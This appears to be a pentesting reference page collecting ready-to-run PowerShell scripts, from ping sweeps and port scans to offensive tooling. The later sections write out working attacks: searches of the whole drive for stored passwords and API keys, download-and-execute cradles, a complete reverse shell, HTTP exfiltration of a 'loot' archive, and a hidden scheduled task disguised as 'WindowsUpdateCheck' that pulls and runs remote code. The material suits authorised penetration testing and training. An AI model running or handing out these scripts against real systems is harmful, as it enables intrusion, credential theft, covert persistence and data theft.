PowerShell scripting for pentesting
Practical scripts built on top of the fundamentals from PowerShell scripting. For more advanced techniques (parallelization, obfuscation, persistence), see PowerShell scripting for pentesting - advanced.
Ping sweep
| # Usage: .\ping-sweep.ps1 -Subnet 10.10.10
param([string]$Subnet)
1..254 | ForEach-Object {
$ip = "$Subnet.$_"
if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {
Write-Output "$ip is up"
}
}
|
Simple port scanner
| # Usage: .\port-scan.ps1 -Target 10.10.10.10 -StartPort 1 -EndPort 1000
param(
[string]$Target,
[int]$StartPort,
[int]$EndPort
)
foreach ($port in $StartPort..$EndPort) {
$client = New-Object System.Net.Sockets.TcpClient
try {
$client.Connect($Target, $port)
if ($client.Connected) {
Write-Output "$port/tcp open"
$client.Close()
}
} catch {
# closed or filtered
}
}
|
Directory/file brute forcing
| # Usage: .\dirbrute.ps1 -Url http://target.htb -Wordlist wordlist.txt
param([string]$Url, [string]$Wordlist)
Get-Content $Wordlist | ForEach-Object {
$target = "$Url/$_"
try {
$resp = Invoke-WebRequest -Uri $target -Method Head -UseBasicParsing -ErrorAction Stop
Write-Output "[$($resp.StatusCode)] $target"
} catch {
$code = $_.Exception.Response.StatusCode.value__
if ($code -ne 404) {
Write-Output "[$code] $target"
}
}
}
|
Credential hunting
| # Search recursively for common credential patterns
Get-ChildItem -Path C:\ -Recurse -Include *.txt,*.config,*.xml,*.ini -ErrorAction SilentlyContinue |
Select-String -Pattern "password\s*=|passwd\s*=|api[_-]?key\s*=" |
Select-Object Path, LineNumber, Line
# Find unattended install files (common source of clear-text creds)
Get-ChildItem -Path C:\ -Recurse -Include unattend.xml,sysprep.xml,sysprep.inf -ErrorAction SilentlyContinue
|
See Credentials hunting for more manual techniques.
Enumerating local users, groups and privileges
| Get-LocalUser
Get-LocalGroupMember -Group "Administrators"
whoami /priv
whoami /groups
|
Downloading and executing a remote payload
| # Download to disk and run
Invoke-WebRequest -Uri http://10.10.14.1:8000/payload.exe -OutFile C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe
# Download cradle: fetch and execute in memory, without touching disk
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/script.ps1')
# .NET WebClient one-liner variant
(New-Object Net.WebClient).DownloadFile('http://10.10.14.1:8000/payload.exe','C:\Windows\Temp\payload.exe')
|
Reverse shell one-liner
| # Attacker
nc -lvnp 443
# Target
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.1", 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
|
File exfiltration over HTTP
| # Attacker (receiver)
python3 -m http.server 8000
# Target (sender), via a simple POST
Invoke-WebRequest -Uri http://10.10.14.1:8000/upload -Method Post -InFile C:\loot\data.zip
|
Persistence: scheduled task callback
| $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/callback.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger -RunLevel Highest
|
Last update: 2026-07-27
Created: July 27, 2026 16:17:23